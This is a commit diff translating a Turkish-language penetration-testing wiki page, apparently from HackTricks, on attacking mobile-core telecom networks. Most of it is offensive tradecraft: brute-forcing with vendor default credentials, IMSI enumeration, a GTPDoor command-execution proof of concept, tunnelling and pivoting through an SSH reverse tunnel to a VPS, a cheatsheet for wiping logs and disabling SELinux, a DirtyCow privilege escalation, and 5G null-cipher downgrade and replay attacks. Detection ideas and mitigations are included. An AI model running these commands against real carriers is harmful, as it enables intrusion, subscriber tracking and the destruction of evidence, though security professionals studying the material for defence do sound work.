Translated ['', 'src/generic-methodologies-and-resources/pentesting-netw

This commit is contained in:
Translator 2025-09-07 20:09:54 +00:00
parent c0e3a618e7
commit e3710635a9

View File

@ -1,27 +1,27 @@
# Telekom Ağı İstismarı (GTP / Roaming Ortamları)
# Telekom Ağ İstismarı (GTP / Roaming Environments)
{{#include ../../banners/hacktricks-training.md}}
> [!NOTE]
> Mobil çekirdek protokolleri (GPRS Tünelleme Protokolü GTP) genellikle yarı güvenilir GRX/IPX roaming omurgalarından geçer. Çünkü neredeyse hiç kimlik doğrulama olmadan düz UDP üzerinde çalışırlar, **bir telekom perimetrinin içindeki herhangi bir ayak izi genellikle çekirdek sinyalleme katmanlarına doğrudan ulaşabilir**. Aşağıdaki notlar, SGSN/GGSN, PGW/SGW ve diğer EPC düğümlerine karşı doğada gözlemlenen saldırgan teknikleri toplamaktadır.
> Mobile-core protocols (GPRS Tunnelling Protocol GTP) often traverse semi-trusted GRX/IPX roaming backbones. Because they ride on plain UDP with almost no authentication, **any foothold inside a telecom perimeter can usually reach core signalling planes directly**. The following notes collect offensive tricks observed in the wild against SGSN/GGSN, PGW/SGW and other EPC nodes.
## 1. Keşif & İlk Erişim
## 1. Recon & Initial Access
### 1.1 Varsayılan OSS / NE Hesapları
Şaşırtıcı derecede büyük bir tedarikçi ağ elemanları seti, `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser` gibi sabit kodlanmış SSH/Telnet kullanıcıları ile birlikte gelir. Özel bir kelime listesi, kaba kuvvet başarısını dramatik şekilde artırır:
### 1.1 Varsayılan OSS / NE Hesapları
Şaşırtıcı derecede çok sayıda vendor network elemanı `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … gibi hard-coded SSH/Telnet kullanıcılarıyla birlikte gelir. Özel bir wordlist brute-force başarısını dramatik şekilde artırır:
```bash
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
```
Eğer cihaz yalnızca bir yönetim VRF'si sunuyorsa, önce bir jump host üzerinden geçin (aşağıdaki «SGSN Emu Tunnel» bölümüne bakın).
Cihaz yalnızca bir yönetim VRF sunuyorsa, önce bir jump host üzerinden pivot yapın (aşağıdaki «SGSN Emu Tunnel» bölümüne bakın).
### 1.2 GRX/IPX İçinde Host Keşfi
Çoğu GRX operatörü hala omurga boyunca **ICMP echo**'ya izin vermektedir. GTP-C dinleyicilerini hızlı bir şekilde haritalamak için `masscan`'i yerleşik `gtpv1` UDP probeleri ile birleştirin:
### 1.2 GRX/IPX içinde Host Keşfi
Çoğu GRX operatörü hâlâ omurga boyunca **ICMP echo**'ya izin veriyor. GTP-C dinleyicilerini hızlıca haritalamak için `masscan`'ı dahili `gtpv1` UDP probes ile birleştirin:
```bash
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
```
## 2. Abone Sayımı `cordscan`
## 2. Aboneleri Listeleme `cordscan`
Aşağıdaki Go aracı **GTP-C PDP Bağlantı Oluşturma İsteği** paketleri oluşturur ve yanıtları kaydeder. Her yanıt, sorgulanan IMSI'yi hizmet veren mevcut **SGSN / MME**'yi ve bazen de abonenin ziyaret ettiği PLMN'yi ortaya çıkarır.
Aşağıdaki Go aracı **GTP-C Create PDP Context Request** paketleri oluşturur ve yanıtları kaydeder. Her yanıt, sorgulanan IMSI'ye hizmet eden mevcut **SGSN / MME**'yi ve bazen abonenin ziyaret ettiği PLMN'i ortaya çıkarır.
```bash
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
@ -29,20 +29,20 @@ GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
```
Ana bayraklar:
Anahtar bayraklar:
- `--imsi` Hedef abone IMSI
- `--oper` Ev / HNI (MCC+MNC)
- `-w` Ham paketleri pcap'a yaz
- `--oper` Home / HNI (MCC+MNC)
- `-w` Ham paketleri pcap'e yaz
İkili dosya içindeki önemli sabitler, taramaları genişletmek için yamanabilir:
İkili dosya içindeki önemli sabitler tarama kapsamını genişletmek için yamalanabilir:
```
pingtimeout = 3 // seconds before giving up
pco = 0x218080
common_tcp_ports = "22,23,80,443,8080"
```
## 3. GTP Üzerinden Kod Çalıştırma `GTPDoor`
## 3. GTP Üzerinde Kod Çalıştırma `GTPDoor`
`GTPDoor`, **UDP 2123'ü bağlayan ve her gelen GTP-C paketini ayrıştıran** küçük bir ELF hizmetidir. Yük, önceden paylaşılan bir etiketle başlarsa, geri kalanı (AES-128-CBC) şifre çözülür ve `/bin/sh -c` aracılığıyla çalıştırılır. stdout/stderr, dışarıya hiçbir oturum oluşturulmadan **Echo Response** mesajları içinde dışarıya aktarılır.
`GTPDoor` küçük bir ELF servisidir; **UDP 2123'e bind olur ve gelen her GTP-C paketini ayrıştırır**. Payload bir pre-shared tag ile başlarsa, kalan kısım (AES-128-CBC) ile şifre çözülür ve `/bin/sh -c` ile çalıştırılır. stdout/stderr, **Echo Response** mesajları içinde exfiltrated edilir; böylece dışa dönük hiçbir oturum oluşturulmaz.
Minimal PoC paketi (Python):
```python
@ -52,40 +52,40 @@ cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
```
Detection:
* herhangi bir hostun **dengesiz Echo İstekleri** göndermesi SGSN IP'lerine
* GTP versiyon bayrağı 1 olarak ayarlandığında mesaj türü = 1 (Echo) spesifikasyondan sapma
Tespit:
* SGSN IP'lerine **dengesiz Echo Requests** gönderen herhangi bir host
* GTP sürüm bayrağı 1 olarak ayarlanmışken mesaj türü = 1 (Echo) spesifikasyondan sapma
## 4. Pivoting Through the Core
## 4. Çekirdek Üzerinden Pivot
### 4.1 `sgsnemu` + SOCKS5
`OsmoGGSN`, **gerçek bir GGSN/PGW'ye doğru bir PDP bağlamı kurabilen** bir SGSN emülatörü ile birlikte gelir. Müzakere edildikten sonra, Linux, dolaşım eşinden erişilebilen yeni bir `tun0` arayüzü alır.
`OsmoGGSN` gerçek bir GGSN/PGW'ye doğru **bir PDP context kurabilen** bir SGSN emülatörü ile gelir. Müzakere tamamlandığında, Linux roaming eş tarafından erişilebilen yeni bir `tun0` arayüzü alır.
```bash
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 & # internal SOCKS proxy
```
Doğru bir güvenlik duvarı hair-pinning ile, bu tünel yalnızca sinyalizasyon olan VLAN'ları atlar ve sizi doğrudan **veri düzlemine** yönlendirir.
Uygun firewall hair-pinning ile bu tünel sadece sinyalleme VLAN'larını atlar ve sizi doğrudan **veri düzlemine**.
### 4.2 Port 53 Üzerinde SSH Ters Tünel
DNS, dolaşım altyapılarında neredeyse her zaman açıktır. İç bir SSH hizmetini VPS'inize :53 üzerinde dinleyecek şekilde açın ve daha sonra evden geri dönün:
### 4.2 SSH Reverse Tunnel over Port 53
DNS, roaming altyapılarında neredeyse her zaman açıktır. VPS'inizde :53 üzerinde dinleyen dahili bir SSH servisini açın ve daha sonra evden geri bağlanın:
```bash
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
```
`GatewayPorts yes`'un VPS'de etkin olduğunu kontrol edin.
VPS'de `GatewayPorts yes`'in etkinleştirildiğini kontrol edin.
## 5. Gizli Kanallar
| Kanal | Taşıma | Kod Çözme | Notlar |
|-------|--------|-----------|--------|
| ICMP `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte anahtar + 14-byte parçalar (XOR) | tamamen pasif dinleyici, dışa trafik yok |
| DNS `NoDepDNS` | UDP 53 | A-kayıt oktetlerinde kodlanmış XOR (anahtar = `funnyAndHappy`) | `*.nodep` alt alanını izler |
| GTP `GTPDoor` | UDP 2123 | özel IE'de AES-128-CBC blob | meşru GTP-C sohbeti ile karışır |
| Kanal | Taşıma | Çözümleme | Notlar |
|---------|-----------|----------|-------|
| ICMP `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | tamamen pasif dinleyici, çıkış trafiği yok |
| DNS `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) A-kayıt oktetlerinde kodlanmış | `*.nodep` alt alan adını izler |
| GTP `GTPDoor` | UDP 2123 | AES-128-CBC blob özel IE içinde | meşru GTP-C trafiğiyle karışır |
Tüm implantlar, ikili dosyalarını **timestomp** eden ve çökmesi durumunda yeniden başlatan izleyiciler uygular.
Tüm implants, ikili dosyalarını **timestomp** eden ve çökerse re-spawn eden watchdog'lar içerir.
## 6. Savunma Kaçış Kılavuzu
## 6. Defense Evasion Cheatsheet
```bash
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
@ -100,7 +100,7 @@ printf '\0' > /proc/$$/comm # appears as [kworker/1]
touch -r /usr/bin/time /usr/bin/chargen # timestomp
setenforce 0 # disable SELinux
```
## 7. Eski NE'de Yetki Yükseltme
## 7. Eski NE'de Privilege Escalation
```bash
# DirtyCow CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
@ -118,23 +118,130 @@ rm -f /tmp/sh ; history -c
```
## 8. Araç Kutusu
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` önceki bölümlerde tanımlanan özel araçlar.
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` önceki bölümlerde anlatılan custom tooling.
* `FScan` : intranet TCP taramaları (`fscan -p 22,80,443 10.0.0.0/24`)
* `Responder` : LLMNR/NBT-NS sahte WPAD
* `Microsocks` + `ProxyChains` : hafif SOCKS5 pivotlama
* `FRP` (≥0.37) : NAT geçişi / varlık köprüleme
* `Responder` : LLMNR/NBT-NS rogue WPAD
* `Microsocks` + `ProxyChains` : lightweight SOCKS5 pivoting
* `FRP` (≥0.37) : NAT traversal / asset bridging
## 9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
5G kayıt prosedürü, NGAP üstünde NAS (Non-Access Stratum) üzerinden çalışır. Security Mode Command/Complete ile NAS güvenliği etkinleştirilene kadar, ilk mesajlar authenticate edilmez ve şifrelenmez. Bu pre-security penceresi, N2 trafiğini gözlemleyebildiğiniz veya müdahale edebildiğiniz durumlarda (örn. core içinde on-path, rogue gNB veya testbed) birden fazla saldırı yolunu mümkün kılar.
Registration flow (basitleştirilmiş):
- Registration Request: UE SUCI (şifrelenmiş SUPI) ve kabiliyetleri gönderir.
- Authentication: AMF/AUSF RAND/AUTN gönderir; UE RES* ile cevap verir.
- Security Mode Command/Complete: NAS integrity ve ciphering müzakere edilip etkinleştirilir.
- PDU Session Establishment: IP/QoS kurulumu.
Lab kurulum ipuçları (non-RF):
- Core: Open5GS'in varsayılan deploy'u akışları reproduce etmek için yeterlidir.
- UE: simulator veya test UE; decode için Wireshark kullanın.
- Active tooling: 5GReplay (NGAP içinde NAS capture/modify/replay), Sni5Gect (tam bir rogue gNB açmadan NAS'ı anlık sniff/patch/inject).
- Wireshark için faydalı display filter'ları:
- ngap.procedure_code == 15 (InitialUEMessage)
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
### 9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI
Beklenen: UE/USIM SUCI göndermelidir (SUPI, home-network public key ile şifrelenmiş). Registration Request içinde plaintext SUPI/IMSI bulunması, abonelerin kalıcı olarak takip edilmesine olanak veren bir privacy kusurunu işaret eder.
Nasıl test edilir:
- InitialUEMessage içindeki ilk NAS mesajını capture edip Mobile Identity IE'yi inceleyin.
- Wireshark hızlı kontroller:
- Bunun SUCI olarak decode olması, IMSI olarak değil.
- Filter örnekleri: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` olmalı; yokluğu ve `imsi` varlığı sızıntıyı gösterir.
Toplanması gerekenler:
- Açığa çıktıysa MCC/MNC/MSIN; UE başına loglayın ve zaman/konum boyunca izleyin.
Önlem:
- Sadece SUCI gönderen UE/USIM'leri zorlayın; initial NAS içinde herhangi bir IMSI/SUPI olursa alarm üretin.
### 9.2 Capability bidding-down to null algorithms (EEA0/EIA0)
Arka plan:
- UE, Registration Request içindeki UE Security Capability IE'de desteklediği EEA (encryption) ve EIA (integrity) algoritmalarını bildirir.
- Yaygın eşlemeler: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 null algoritmalardır.
Problem:
- Registration Request integrity ile korunmadığı için, on-path bir saldırgan capability bitlerini temizleyerek Security Mode Command sırasında daha sonra EEA0/EIA0 seçimini zorlayabilir. Bazı stack'ler acil servisler dışında da null algoritmaları yanlışlıkla kabul edebilir.
Saldırı adımları:
- InitialUEMessage'i intercept edip NAS UE Security Capability'yi sadece EEA0/EIA0'ü reklam edecek şekilde değiştirin.
- Sni5Gect ile NAS mesajını hooklayıp forwarding öncesi capability bitlerini patch'leyin.
- AMF'in null cipher/integrity'yi kabul edip etmediğini ve Security Mode'un EEA0/EIA0 ile tamamlanıp tamamlanmadığını gözlemleyin.
Doğrulama/görünürlük:
- Wireshark'ta Security Mode Command/Complete sonrası seçilen algoritmaları doğrulayın.
- Örnek passive sniffer output:
```
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001
```
Önlemler (zorunlu):
- Configure AMF/policy to reject EEA0/EIA0 except where strictly mandated (e.g., emergency calls).
- Prefer enforcing EEA2/EIA2 at minimum; log and alarm on any NAS security context that negotiates null algorithms.
### 9.3 initial Registration Request'in yeniden oynatılması (güvenlik öncesi NAS)
Çünkü initial NAS bütünlük ve tazelikten yoksun olduğundan, yakalanmış InitialUEMessage+Registration Request AMF'ye yeniden oynatılabilir.
Eşleşen replay'leri iletmek için 5GReplay PoC kuralı:
```xml
<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">
<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>
<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>
</property>
</beginning>
```
What to observe:
- Whether AMF accepts the replay and proceeds to Authentication; lack of freshness/context validation indicates exposure.
Mitigations:
- Enforce replay protection/context binding at AMF; rate-limit and correlate per-GNB/UE.
### 9.4 Tooling pointers (reproducible)
- Open5GS: spin up an AMF/SMF/UPF to emulate core; observe N2 (NGAP) and NAS.
- Wireshark: verify decodes of NGAP/NAS; apply the filters above to isolate Registration.
- 5GReplay: capture a registration, then replay specific NGAP + NAS messages as per the rule.
- Sni5Gect: live sniff/modify/inject NAS control-plane to coerce null algorithms or perturb authentication sequences.
### 9.5 Defensive checklist
- Continuously inspect Registration Request for plaintext SUPI/IMSI; block offending devices/USIMs.
- Reject EEA0/EIA0 except for narrowly defined emergency procedures; require at least EEA2/EIA2.
- Detect rogue or misconfigured infrastructure: unauthorized gNB/AMF, unexpected N2 peers.
- Alert on NAS security modes that result in null algorithms or frequent replays of InitialUEMessage.
---
## Tespit Fikirleri
1. **Create PDP Context Requests oluşturan SGSN/GGSN dışındaki herhangi bir cihaz**.
2. **İç IP'lerden SSH el sıkışmaları alan standart dışı portlar (53, 80, 443)**.
3. **Karşılık gelen Echo Yanıtları olmadan sık sık Echo İstekleri** GTPDoor işaretlerini gösterebilir.
4. **Büyük, sıfır olmayan tanımlayıcı/sıra alanları ile yüksek ICMP echo-reply trafiği oranı**.
## Detection Ideas
1. **Any device other than an SGSN/GGSN establishing Create PDP Context Requests**.
2. **Non-standard ports (53, 80, 443) receiving SSH handshakes** from internal IPs.
3. **Frequent Echo Requests without corresponding Echo Responses** might indicate GTPDoor beacons.
4. **High rate of ICMP echo-reply traffic with large, non-zero identifier/sequence fields**.
5. 5G: **InitialUEMessage carrying NAS Registration Requests repeated from identical endpoints** (replay signal).
6. 5G: **NAS Security Mode negotiating EEA0/EIA0** outside emergency contexts.
## Referanslar
## References
- [Palo Alto Unit42 Küresel Telekom Ağlarının Sızılması](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
- 3GPP TS 29.060 GPRS Tünelleme Protokolü (v16.4.0)
- [Palo Alto Unit42 Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
- 3GPP TS 29.060 GPRS Tunnelling Protocol (v16.4.0)
- 3GPP TS 29.281 GTPv2-C (v17.6.0)
- [Demystifying 5G Security: Understanding the Registration Protocol](https://bishopfox.com/blog/demystifying-5g-security-understanding-the-registration-protocol)
- 3GPP TS 24.501 Non-Access-Stratum (NAS) protocol for 5GS
- 3GPP TS 33.501 Security architecture and procedures for 5G System
{{#include ../../banners/hacktricks-training.md}}